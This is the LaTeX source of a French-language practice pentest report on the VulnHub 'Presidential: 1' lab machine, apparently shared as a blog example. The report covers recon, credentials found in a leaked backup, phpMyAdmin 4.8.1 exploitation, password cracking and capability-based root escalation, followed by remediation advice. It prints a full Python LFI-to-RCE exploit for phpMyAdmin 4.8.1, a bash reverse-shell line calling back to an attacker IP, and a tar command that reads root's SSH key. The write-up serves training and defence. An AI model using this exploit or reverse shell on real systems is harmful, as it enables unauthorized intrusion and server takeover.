Voici un exemple de rapport professionnel technique, simulant que je travaille pour Orange Cyberdefense, portant sur une audit de l'environnement et de l'entreprise "Presidential". Pour cette analyse, j'ai utilisé une machine préconfigurée VulnHub présentant des vulnérabilités web et des risques de dépassement de privilèges.
Le rapport a été rédigé à l'aide du logiciel LaTeX, reconnu pour sa complexité technique mais aussi pour sa grande utilité et sa capacité à produire des rapports professionnels de qualité avec une grande liberté de personnalisation. Ci-dessous, vous trouverez le code LaTeX ainsi que le fichier PDF illustrant cet exemple.
Mise en place de l'environnement pour générer des fichiers PDF à partir de LaTeX :
Vérifiez l'application par défaut pour les fichiers PDF :
Définissez l'application par défaut comme Zathura pour les fichiers PDF :
Créez le fichier .tex pour votre document :
Compilez le document :
Mis à jour
Ce contenu vous a-t-il été utile ?
Ce contenu vous a-t-il été utile ?
xdg-mime query default application/pdf
xdg-mime default zathura.desktop application/pdf
touch presidential.tex
latexmk -pdf presidential.tex -pvc
\documentclass[a4paper]{article}
% Packages
\usepackage[utf8]{inputenc} % Encodage du texte en UTF-8
\usepackage[spanish]{babel} % Langue espagnole
\usepackage[margin=2cm, top=2cm, includefoot]{geometry} % Mise en page
\usepackage{graphicx} % Pour inclure des images
\usepackage[table,xcdraw]{xcolor} % Couleurs
\usepackage{tikz,lipsum,lmodern} % Dessins
\usepackage[most]{tcolorbox} % Encadrés personnalisés
\usepackage{fancyhdr} % En-têtes et pieds de page
\usepackage[hidelinks]{hyperref} % Liens hypertexte
\usepackage{setspace} % Espace entre les lignes
\usepackage{listings} % Affichage de code source
\setstretch{1.2} % Espacement des lignes
\usepackage{parskip} % Espacement des paragraphes
\setlength{\parindent}{0pt} % Pas d'indentation des paragraphes
\setlength{\parskip}{0.8em plus 0.5em minus 0.2em} % Espacement des paragraphes
\setlength{\parfillskip}{\parindent plus 1fill} % Justification du texte
\usepackage[figurename=Capture]{caption} % Nom des figures en espagnol
\usepackage{ragged2e} % Justification du texte
% Variables
\newcommand{\logoPortada}{Images/vulnhub.png}
\newcommand{\machineName}{Presidential: 1}
\newcommand{\logoMachine}{Images/casablanca.jpg}
\newcommand{\startDate}{21 Février 2024}
\newcommand{\logoCompany}{Images/orange-company.png}
\newcommand{\logoPlatform}{Images/platform-vulnhub.png}
% Couleurs
\definecolor{bluePortada}{HTML}{146c8a}
% Personnalisation des titres
\addto\captionsspanish{\renewcommand{\contentsname}{Sommaire}}
% En-têtes et pieds de page
\setlength{\headheight}{40.2pt}
\pagestyle{fancy}
\fancyhf{}
\lhead{\includegraphics[width=4cm]{\logoCompany}} % Logo de l'entreprise à gauche de l'en-tête
\rhead{\includegraphics[height=1.2cm]{\logoPlatform}} % Logo de la plateforme à droite de l'en-tête
\renewcommand{\headrulewidth}{3pt} % Épaisseur de la ligne d'en-tête
\renewcommand{\headrule}{\hbox to\headwidth{\color{orange}\leaders\hrule height \headrulewidth\hfill}} % Couleur de la ligne d'en-tête
% Configuration des légendes de code source
\renewcommand{\lstlistingname}{Code}
% Styles de code source
\definecolor{codegreen}{rgb}{0,0.6,0}
\definecolor{codegray}{rgb}{0.5,0.5,0.5}
\definecolor{codepurple}{rgb}{0.58,0,0.82}
\definecolor{backcolour}{rgb}{0.95,0.95,0.92}
\newtcolorbox{definicion}{
breakable,
enhanced,
colback=white,
colframe=bluePortada!75!black,
arc=0mm,
boxrule=1pt,
leftrule=12mm,
fonttitle=\bfseries,
coltitle=blue!75!black,
title=Definicion,
attach title to upper=\par,
}
\lstdefinestyle{mystyle}{
backgroundcolor=\color{backcolour},
commentstyle=\color{codegreen}, % Couleur des commentaires
keywordstyle=\color{magenta}, % Couleur des mots-clés
numberstyle=\tiny\color{codegray}, % Style des numéros de ligne
stringstyle=\color{codepurple}, % Couleur des chaînes de caractères
basicstyle=\ttfamily\footnotesize, % Style de base du texte
breakatwhitespace=false,
breaklines=true,
captionpos=b,
keepspaces=true,
numbers=left,
numbersep=5pt,
showspaces=false,
showstringspaces=false,
showtabs=false,
tabsize=2
}
\lstset{style=mystyle} % Configuration globale du style de code
% Début du document
\begin{document}
\cfoot{\thepage} % Bas de page avec le numéro de page
\begin{titlepage} % Page de titre
\centering
\includegraphics[width=0.5\textwidth]{\logoPortada}\par\vspace{1cm} % Logo de la page de titre
{\scshape\LARGE \textbf{Rapport Technique}\par\vspace{0.4cm}} % Titre du rapport
{\Huge\textcolor{bluePortada}{\textbf{Machine \machineName}}} % Nom de la machine
\vfill
\includegraphics[width=\textwidth, height=10cm, keepaspectratio]{\logoMachine} % Image de la machine
\vfill
\begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % Encadré de confidentialité
\centering
Ce document est confidentiel et contient des informations sensibles. \\ Il ne devrait pas être imprimé ou partagé avec des tiers.
\end{tcolorbox}
\vfill
{\large \startDate\par} % Date du rapport
\vfill
\end{titlepage}
% ------------------------------------------------------------------
% Début de la table des matières
\clearpage
\tableofcontents % Table des matières
\clearpage
\section{Antécédents}
Ce document présente les résultats obtenus lors de la phase d'audit réalisée sur la machine \textbf{\machineName}, énumérant tous les vecteurs d'attaque trouvés ainsi que l'exploitation réalisée pour chacun d'entre eux.
Cette machine a été téléchargée à partir de la plateforme \href{https://www.vulnhub.com/}{\textbf{\color{bluePortada}Vulnhub}}, une plateforme d'entraînement et de pratique pour les personnes intéressées par la sécurité informatique et le hacking éthique. Ci-dessous, le lien de téléchargement de cette machine est fourni :
\vspace{0.2cm}
\begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=Direction URL,fonttitle=\bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
\centering
\href{https://www.vulnhub.com/entry/presidential-1,500/}{\textbf{\color{black}https://www.vulnhub.com/entry/presidential-1,500}}
\end{tcolorbox}
\vspace{0.5cm}
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=\textwidth]{Images/presidential-image.png}}
\caption{Page d'accueil du service web de la machine}
\end{figure}
\vspace{1cm}
\section {Objectifs}
Les objectifs de cet audit de sécurité visent à identifier d'éventuelles vulnérabilités et faiblesses sur la machine \textbf{\color{bluePortada}\machineName}, dans le but de garantir l'intégrité et la confidentialité des informations qui y sont stockées.
Dans cette optique, une analyse exhaustive de tous les services détectés exposés sur ce serveur a été réalisée, recueillant des informations détaillées sur ceux présentant un risque potentiel du point de vue de la sécurité.
\clearpage
\subsection{Portée}
Les objectifs à atteindre pour cette audit sont présentés ci-dessous :
\begin{itemize}
\item Identifier les ports et services vulnérables.
\item Exploiter les vulnérabilités identifiées.
\item Obtenir l'accès au serveur en exploitant les services vulnérables identifiés.
\item Énumérer les voies potentielles pour élever les privilèges dans le système une fois qu'il a été compromis.
\end{itemize}
\subsection{Obstacles et limitations}
Pendant le processus d'audit, il est strictement interdit d'effectuer l'une des activités suivantes :
\begin{itemize}
\item Effectuer des tâches pouvant entraîner un \textbf{déni de service} ou affecter la disponibilité des services exposés.
\item Supprimer des fichiers résidents sur le serveur une fois qu'il a été compromis.
\end{itemize}
\subsection{Résumé général}
Cette audit a révélé de nombreuses failles de sécurité importantes mettant en péril l'intégrité et la confidentialité des informations hébergées sur le serveur. De l'exposition de fichiers de sauvegarde sensibles à l'exploitation de vulnérabilités critiques dans PhpMyAdmin, le serveur s'est avéré vulnérable à diverses attaques.
L'identification de sous-domaines, l'énumération de services exposés et l'exploitation de panneaux d'authentification faibles ont été des points d'entrée clés pour les attaques menées lors de cet audit.
Il est essentiel de prendre des mesures immédiates pour remédier à ces vulnérabilités et atténuer les risques de sécurité. Il est fortement recommandé de mettre à jour PhpMyAdmin vers la dernière version et de mettre en œuvre des mesures de sécurité supplémentaires telles que la restriction d'accès aux fichiers sensibles et la mise en place de filtres d'entrée appropriés dans les applications Web exposées.
En résumé, cet audit souligne l'importance de maintenir une posture proactive en matière de sécurité des systèmes, en effectuant des audits périodiques, en appliquant des correctifs de sécurité et en suivant les bonnes pratiques de cybersécurité pour protéger les actifs numériques d'une organisation.
\clearpage
\section{Reconnaissance}
\subsection{Énumération des services exposés}
Ci-dessous, vous trouverez une preuve des ports et services identifiés lors de la reconnaissance effectuée avec l'outil \textbf{nmap} :
\vspace{0.3cm}
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=\textwidth]{Images/ports.png}}
\caption{Énumération des ports avec nmap}
\end{figure}
\vspace{0.3cm}
Dans ce cas, deux ports actifs ont été identifiés utilisant le protocole TCP :
\vspace{0.5cm}
\centering
\begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]
\node (center) {TCP};
\node (port1) [below left of=center, node distance=3cm] {Port 80};
\node (port2) [below right of=center, node distance=3cm] {Port 2082};
\draw (center) -- (port1);
\draw (center) -- (port2);
\end{tikzpicture}
\vspace{0.5cm}
\justifying
De même, aucun port exposé via d'autres protocoles n'a été trouvé, donc l'évaluation des ports identifiés lors du premier balayage est priorisée.
\clearpage
\subsection{Énumération des serveurs web}
Ci-dessous sont présentés les résultats obtenus avec l'outil \textbf{WhatWeb}, un outil de reconnaissance web utilisé pour identifier les technologies web spécifiques utilisées sur un site web, après avoir effectué une reconnaissance sur le service HTTP fonctionnant sur le port 80.
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\makebox[\textwidth]{\fbox{\includegraphics[width=0.90\paperwidth]{Images/whatweb.png}}}
\caption{Énumération du service HTTP sur le port 80}
\end{figure}
Les résultats obtenus permettent d'identifier les versions de certaines des technologies existantes :
\vspace{0.4cm}
\centering
\begin{tabular}{ c | c }
\textbf{Technologie} & \textbf{Version} \\
\hline
PHP & 5.5.38 \\
Apache & 2.4.6
\end{tabular}
\vspace{0.4cm}
\justifying
Parmi les informations fournies, il est également possible d'identifier 2 adresses e-mail, qui pourraient être utilisées dans le cadre d'attaques de \textbf{Phishing} :
\vspace{0.3cm}
\begin{center}
\texttt{[email protected]} \qquad \texttt{[email protected]}
\end{center}
Le \textbf{Phishing} est un type d'attaque informatique utilisé pour tromper les individus et obtenir des informations confidentielles telles que des mots de passe, des informations bancaires ou des détails de cartes de crédit. L'attaque est menée par l'envoi de courriers électroniques frauduleux ou de messages texte qui semblent légitimes et qui demandent au destinataire de fournir des informations personnelles et confidentielles.
De plus, il a également été possible d'identifier la version de \textbf{Centos} qui est active grâce à une reconnaissance exhaustive réalisée sur le service web avec l'outil \textbf{wig}.
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=\textwidth]{Images/wig-results.png}}
\caption{Énumération du service HTTP sur le port 80}
\end{figure}
\clearpage
\subsection{Énumération des sous-domaines}
Une fois le domaine '\textbf{votenow.local}' identifié grâce aux e-mails, une attaque par force brute a été réalisée sur le domaine principal dans le but d'identifier des sous-domaines valides.
Après avoir terminé l'attaque par force brute, voici les résultats obtenus :
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=\textwidth]{Images/subdomain.png}}
\caption{Sous-domaines identifiés avec Gobuster}
\label{fig:identifiedSubdomains}
\end{figure}
\vspace{0.3cm}
Le sous-domaine '\textbf{datasafe.votenow.local}' a été identifié comme étant un sous-domaine valide. Ce sous-domaine a joué un rôle crucial dans l'audit, car c'est à travers celui-ci que l'accès au système a été obtenu en exploitant une vulnérabilité présente dans \textbf{PhpMyAdmin}.
Il est à noter que pour que ces domaines et sous-domaines soient accessibles, il a été nécessaire d'ajouter le contenu suivant dans le fichier '\textbf{/etc/hosts}':
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=0.8\textwidth]{Images/virtualHosting.png}}
\caption{Contenu du fichier /etc/hosts}
\end{figure}
\vspace{0.3cm}
Ceci est dû à l'application de la technique du '\textbf{Virtual Hosting}', une technique utilisée sur les serveurs web pour héberger plusieurs sites web sur une seule machine physique. Le fichier '\textbf{/etc/hosts}' est utilisé pour associer le nom de domaine de chaque site web à l'adresse IP du serveur.
En l'absence de cette association, le serveur web ne pourra pas déterminer le site web correct à servir, ce qui se traduira par une erreur ou l'affichage d'un site web incorrect.
\clearpage
\subsection{Énumération des panneaux d'authentification}
Une fois le sous-domaine '\textbf{datasafe.votenow.local}' découvert, tel qu'illustré dans l'image \ref{fig:identifiedSubdomains} à la page \pageref{fig:identifiedSubdomains}, le panneau d'authentification suivant de \textbf{PhpMyAdmin} a été trouvé :
\vspace{0.3cm}
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=\textwidth]{Images/PhpMyAdmin.png}}
\caption{Panneau d'authentification de PhpMyAdmin}
\label{fig:PhpMyAdmin}
\end{figure}
\section{Identification et exploitation de vulnérabilités}
\subsection{Exposition d'un fichier de sauvegarde}
Au cours d'une phase de reconnaissance avec l'outil \textbf{gobuster}, un outil en ligne de commande open-source utilisé pour rechercher et énumérer les ressources web sur des serveurs et des sites web, un fichier de sauvegarde exposé a été identifié sur le serveur :
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=\textwidth]{Images/BackUp.png}}
\caption{Fichier de sauvegarde exposé sur le serveur}
\end{figure}
\clearpage
Ce fichier a été téléchargé dans le but de vérifier s'il contenait des informations sensibles qui pourraient représenter un risque du point de vue de la sécurité. À ce stade, il a été déterminé que le fichier contenait les informations privilégiées suivantes :
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=\textwidth]{Images/credentials.png}}
\caption{Contenu du fichier BackUp des identifiants}
\end{figure}
Ces identifiants correspondent aux identifiants d'accès à la base de données, lesquels ont permis, en raison d'une réutilisation de nom d'utilisateur et de mot de passe, d'accéder à \textbf{PhpMyAdmin} tel que représenté sur l'image \ref{fig:PhpMyAdmin} à la page \pageref{fig:PhpMyAdmin}.
\vspace{0.3cm}
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=\textwidth]{Images/phpmyadminIN.png}}
\caption{Connexion à l'interface de contrôle PhpMyAdmin}
\end{figure}
\clearpage
\subsection{Exploitation de PhpMyAdmin}
Une fois connecté à \textbf{PhpMyAdmin}, il a été possible d'identifier la version actuellement utilisée :
\vspace{0.3cm}
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=0.67\textwidth]{Images/versionPhpMyAdmin.png}}
\caption {Version utilisée de PhpMyAdmin}
\end{figure}
\vspace{0.3cm}
Cette version correspond à une \textbf{ancienne version} de PhpMyAdmin, exposant ainsi plusieurs \textbf{vulnérabilités critiques} identifiées :
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=\textwidth]{Images/searchExploit.png}}
\caption {Vulnérabilités pour la version de PhpMyAdmin utilisée}
\end{figure}
\clearpage
Parmi elles, l'une peut permettre à un attaquant malveillant d'\textbf{exécuter du code à distance} sur le serveur.
À suivre, voici le script en Python3 qui a été utilisé pour exécuter des commandes à distance sur le serveur :
\vspace{0.3cm}
\begin{lstlisting}[language=Python, caption=Exploit para la version vunlerable de PhpMyAdmin]
#!/usr/bin/python3
import re, requests, sys
def get_token(content):
s = re.search('token"\s*value="(.*?)"', content)
token = html.unescape(s.group(1))
return token
ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]
url = "http://{}:{}{}".format(ipaddr,port,path)
url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')
s = re.search('PMA_VERSION:"(\d+\.\d+\.\d+)"', content)
version = s.group(1)
cookies = r.cookies
token = get_token(content)
p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(\w+),', content)
logged_in = s.group(1)
cookies = r.cookies
token = get_token(content)
url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)\n'", content, re.DOTALL)
if s != None:
print(s.group(1))
\end{lstlisting}
\clearpage
Une fois que l'exécution et l'injection d'une commande permettant d'entrer dans le système a été réalisée, l'accès au serveur a été obtenu :
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=0.85\textwidth]{Images/rce.png}}
\caption {Obtention d'accès au serveur via l'exploitation de PhpMyAdmin}
\end{figure}
Dans ce cas, une commande est exécutée via '\textbf{curl}', interprétant un script en Bash qui contient le contenu suivant :
\vspace{0.3cm}
\begin{lstlisting}[language=Bash, caption=Script en Bash responsable de l'établissement de la connexion]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
\end{lstlisting}
Ce script est hébergé sur le serveur de l'attaquant, évitant ainsi de laisser des fichiers résiduels sur le serveur cible. Une fois la commande exécutée, l'attaquant obtient l'accès au serveur, ayant le contrôle de la machine dans ce cas, en tant qu'utilisateur '\textbf{apache}'.
Comme on peut le voir dans le script, essentiellement ce qui se passe est que le script exploite une vulnérabilité de type \textbf{LFI} présente dans cette version de PhpMyAdmin pour obtenir l'exécution à distance de commandes :
\vspace{0.3cm}
\begin{lstlisting}[language=Python, caption=Extrait du code correspondant à l'exploitation de la LFI]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
\end{lstlisting}
\vspace{0.3cm}
\begin{definicion}
LFI (Local File Inclusion) est une vulnérabilité de sécurité dans les applications web qui permet à un attaquant d'accéder à des fichiers locaux du serveur en incluant des fichiers locaux dans une page web.
\end{definicion}
\clearpage
À travers la LFI, on obtient des informations sur une ressource PHP qui stocke des sessions, représentant des informations liées aux différentes sessions actives du côté des utilisateurs.
En exploitant cette lecture et la session utilisateur propre, on utilise une \textbf{requête SQL} pour insérer une requête contenant du code PHP, visible depuis les fichiers de session de l'utilisateur via la LFI. Cela conduit donc à une exécution de commandes à distance, car le code PHP n'est pas interprété par le serveur.
\section{Escalade de privilèges}
Une fois que tout le système est compromis, l'objectif principal sera désormais d'obtenir les privilèges les plus élevés possibles sur le serveur. Dans le but d'augmenter nos permissions et d'obtenir un plus grand contrôle et accès à tous les services exposés.
\subsection{Migration vers l'utilisateur Administrateur}
Sur le serveur, il existe un utilisateur Administrateur qui semble bien configuré car nous avons un \textbf{accès restreint} depuis l'utilisateur apache.
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=0.85\textwidth]{Images/directori-admin.png}}
\caption {Accès refusé au répertoire personnel de l'Admin}
\end{figure}
Cependant, dans la base de données précédemment compromis, un mot de passe hashé apparaît avec le même nom d'utilisateur que celui de cet utilisateur. La réutilisation de mots de passe pour un utilisateur est quelque chose de critique et dans ce cas, cela entraînerait une migration directe de l'utilisateur.
\vspace{0.3cm}
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=\textwidth]{Images/hash-password.png}}
\caption {Mot de passe hashé stocké dans la base de données de l'utilisateur admin}
\end{figure}
\clearpage
\subsection{Craquage du mot de passe hashé exposé de l'utilisateur admin}
Comme le mot de passe est hashé, nous utiliserons l'outil '\textbf{john}' pour casser le hash du mot de passe admin afin de le décrypter et le voir en texte clair. Dans ce cas, un dictionnaire contenant plus de dix millions de combinaisons différentes a été utilisé et comme le mot de passe n'est pas très complexe, l'outil a mis quelques minutes à le casser et à l'exposer.
\vspace{0.2cm}
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=0.80\textwidth]{Images/pass-cracked.png}}
\caption {Mot de passe décrypté en texte clair de l'utilisateur admin}
\end{figure}
\vspace{0.3cm}
\newline La migration vers l'utilisateur admin a été possible grâce à la \textbf{réutilisation du même mot de passe} pour l'utilisateur admin à la fois dans la base de données et dans l'utilisateur du système. C'est une mauvaise pratique et il est recommandé d'avoir un mot de passe différent pour chaque service différent afin d'éviter les problèmes critiques comme dans ce cas.
\vspace{0.2cm}
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=0.80\textwidth]{Images/admin-access.png}}
\caption {Accès au répertoire de l'utilisateur privilégié admin}
\end{figure}
\clearpage
\subsection{Vulnérabilité des Capacités de Permission exposant la clé SSH}
\vspace{0.3cm}
\begin{definicion}
Les capacités (capabilities) sous Linux sont un mécanisme de sécurité qui accorde des privilèges spécifiques à des programmes, permettant des opérations restreintes sans avoir besoin d'accorder un accès complet de superutilisateur.
\end{definicion}
Dans ce cas, une permission de capacité a été trouvée permettant avec l'outil tarS de visualiser tous les fichiers du système sans aucune règle ni blocage, car ils étaient effectués depuis l'utilisateur root. En exploitant cette permission, la \textbf{clé privée SSH} de l'utilisateur root a été listée avec la commande suivante :
\vspace{0.3cm}
\begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
\end{lstlisting}
\vspace{0.3cm}
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\makebox[\textwidth]{\fbox{\includegraphics[width=0.50\paperwidth]{Images/ssh-clave.png}}}
\caption {Clé privée SSH de l'utilisateur root}
\end{figure}
\subsection{Accès root au système}
Finalement, l'accès à la machine avec des privilèges de superutilisateur a été obtenu. Il est urgent de supprimer la capacité pour l'outil tarS et de trouver une alternative qui ne permette pas cette élévation de privilèges.
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\makebox[\textwidth]{\fbox{\includegraphics[width=0.60\paperwidth]{Images/flag-root.png}}}
\caption {Obtention du flag de l'utilisateur root}
\end{figure}
\clearpage
\section{Contremesures et bonnes pratiques}
Dans le but d'éviter d'éventuelles exploitations non désirées sur le serveur exposé, les bonnes pratiques à suivre pour les différentes vulnérabilités découvertes sont énumérées ci-dessous.
\subsection{Vulnérabilité de PhpMyAdmin 4.8.1}
PhpMyAdmin est un outil populaire pour gérer les bases de données MySQL via une interface web. Cependant, la version 4.8.1 de PhpMyAdmin comporte des vulnérabilités connues qui peuvent permettre à un attaquant d'exécuter du code arbitraire sur le serveur web où il est hébergé.
Pour corriger cette vulnérabilité, il est nécessaire de \textbf{mettre à jour} vers la version la plus récente de PhpMyAdmin (actuellement la version 5.2.1). Si pour une raison quelconque la mise à jour vers la dernière version n'est pas possible, quelques mesures peuvent être prises pour atténuer le risque d'exploitation :
\begin{itemize}
\item Corriger le code du script '\textbf{index.php}' afin que la variable '\textbf{target}' fournie par l'utilisateur soit correctement contrôlée.
\end{itemize}
\vspace{0.3cm}
\begin{figure}[h]
\centering
\setlength{\fboxrule}{1pt}
\fbox{\includegraphics[width=0.85\textwidth]{Images/lfi_in_code.png}}
\caption {Paramètre cible vulnérable}
\end{figure}
\begin{itemize}
\item Plutôt que de permettre à l'utilisateur de spécifier n'importe quel fichier à inclure, définir une liste de fichiers autorisés et vérifier que la valeur passée au paramètre '\textbf{target}' est dans la liste avant d'inclure le fichier.
\end{itemize}
\subsection{Élévation de privilèges 'Capabilities'}
Tout d'abord, éliminer la capacité de l'outil tarS. Pour corriger et vérifier si un service ou un outil est vulnérable à cette élévation de privilèges, vous pouvez consulter le site web suivant qui contient un moteur de recherche avec toutes les vulnérabilités possibles à ce sujet :
\vspace{0.3cm}
\begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=URL de direction,fonttitle=\bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
\centering
\href{https://gtfobins.github.io/}{\textbf{\color{black}https://gtfobins.github.io}}
\end{tcolorbox}
\clearpage
\section{Conclusions}
L'audit de sécurité effectué sur la machine \textbf{Présidentielle : 1} a révélé une série de vulnérabilités critiques mettant en danger l'intégrité et la confidentialité des informations hébergées sur le serveur. De la divulgation de fichiers sensibles à l'exploitation des vulnérabilités dans PhpMyAdmin, l'importance de maintenir à jour tous les composants du système et de suivre de bonnes pratiques de sécurité a été mise en évidence.
L'exploitation réussie de la vulnérabilité dans PhpMyAdmin a permis aux attaquants d'accéder au serveur et d'augmenter leurs privilèges jusqu'à l'utilisateur administrateur, compromettant ainsi l'ensemble du système. Cela souligne l'importance de mettre en place des mesures de sécurité proactives, telles que la mise à jour régulière des logiciels, la gestion appropriée des mots de passe et la surveillance continue du serveur.
Pour se protéger contre de futures attaques, il est fortement recommandé de mettre en œuvre les contre-mesures mentionnées précédemment et de suivre les meilleures pratiques en matière de cybersécurité. La sécurité doit être une préoccupation constante et prioritaire pour garantir la protection des actifs numériques et la continuité des activités.
\end{document}